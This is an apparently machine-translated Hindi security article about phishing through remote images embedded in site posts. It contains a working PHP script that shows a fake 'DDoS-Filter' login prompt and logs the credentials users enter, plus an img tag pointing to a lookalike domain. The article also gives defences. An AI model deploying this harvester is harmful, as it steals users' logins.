गुस्से में फ़िशिंग पिक्चर्स

सही लोगों का कहना है: "सब कुछ नया पुराना हो चुका है"

आपकी साइट के पृष्ठ पर दूरस्थ संसाधनों (उदाहरण के लिए, अन्य साइटों से चित्र) को एम्बेड करने की क्षमता एक बहुत बुरा अभ्यास है। जो कुछ बिंदु पर साइट के लिए गंभीर परिणामों के लिए नेतृत्व कर सकते हैं। 10 साल पहले भी, मुझे यह पढ़कर आश्चर्य हुआ था कि यह संभव है। और अब 10 साल बीत चुके हैं, कुछ भी नहीं बदला है, और ऐसा लगता है कि यह कभी भी बदलने की संभावना नहीं है।

कट के तहत विवरण

सिद्धांत और अभ्यास

1. हैकर नाराज उपयोगकर्ता एक डोमेन पर हमला किए गए डोमेन की वर्तनी के समान पंजीकृत करता है।
2. PHP में इस तरह की सामग्री के साथ एक स्क्रिप्ट लोड करता है

<?php if (!isset($_SERVER['PHP_AUTH_USER'])) { $vulnsite = parse_url($_SERVER['REFERER']); //header('Content-Type: text/html; charset=windows-1251'); //header('WWW-Authenticate: Basic realm="'.ucfirst($vulnsite['host']).' DDoS-Filter: Enter your Login and Password"'); //header('HTTP/1.0 401 Unauthorized'); } else { $f = fopen('passes.txt', 'a'); fwrite($f, $_SERVER['PHP_AUTH_USER'].';'.$_SERVER['PHP_AUTH_PW']."\r\n"); fclose($f); } header("Content-type: image/jpeg"); $image = imagecreatefromjpeg('image.jpg'); imagejpeg($image); imagedestroy($image); exit(); //       image.jpg //          superphoto.jpg . ?> 

3. एक लेख लिखता है, और एक पोस्ट में एक तस्वीर एम्बेड करता है:

<img src="http://exEmple.com/evilimage.php" alt="image"/>

4. यदि साइट पर मॉडरेशन है, तो लेख को मॉडरेशन के लिए भेजता है।
5. उदाहरण के लिए, लेख उसके लिए अच्छा निकला और यह मुख्य पृष्ठ पर आता है।
6. एक बुरा व्यक्ति अपने दिमाग की उपज को मुख्य पर देखता है और PHP कोड में टिप्पणियों को हटाता है, इसलिए किसी पोस्ट से तस्वीर के लिए अनुरोध के जवाब में, किसी भी उपयोगकर्ता के पास प्राधिकरण के साथ ब्राउज़र में एक विंडो होती है, जहां कुछ भी लिखा जा सकता है, उदाहरण के लिए, साइट बंद हो रही है DDoS हमला करता है, और उपयोगकर्ता नाम और पासवर्ड को फिर से दर्ज करने के लिए कहता है।
7. एक चौकस उपयोगकर्ता नहीं, प्राधिकरण के रूप में डोमेन नाम नहीं पढ़ता है और लॉगिन और पासवर्ड जमा करता है।
8. एक दुष्ट व्यक्ति आपका उपयोगकर्ता नाम और पासवर्ड प्राप्त करता है, उसका लक्ष्य हासिल किया जाता है।

सुरक्षा के तरीके

मुझे लगता है कि दो समझदार तरीके हो सकते हैं:

• ब्राउज़र स्तर पर: किसी अन्य साइट से प्राधिकरण विंडो जारी करने पर प्रतिबंध
• साइट डेवलपर्स के स्तर पर: अपने होस्टिंग के लिए सभी दूरस्थ संसाधनों की प्रतिलिपि बनाना

पुनश्च

Habrahabr.ru यहां अपवाद नहीं है, उनके पास मुख्य पृष्ठ पर अन्य संसाधनों से चित्र हैं। तो यह इस ट्रिक को ध्यान में रखने योग्य है और हमेशा पत्र से पहले प्राधिकरण की आवश्यकता वाले डोमेन नाम की जांच करें।

और यह भी हमेशा एक संभावित खतरा होता है कि जब तस्वीर मुख्य पर होती है, तो जिस साइट से यह तस्वीर खिंचती है, उस तस्वीर को स्क्रिप्ट से बदलने के लिए केवल हैक किया जा सकता है।

पी पी एस

मैं इसे बग नहीं मानता।
यह उस ट्रिक से अधिक कुछ नहीं है जो आधिकारिक रूप से HTTP प्रोटोकॉल द्वारा अनुमत है।